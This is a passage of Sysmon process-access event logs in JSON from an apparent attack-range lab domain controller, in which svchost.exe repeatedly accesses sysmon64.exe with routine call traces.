C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4432,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4433,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4434,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4435,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4436,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4437,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4438,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4439,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 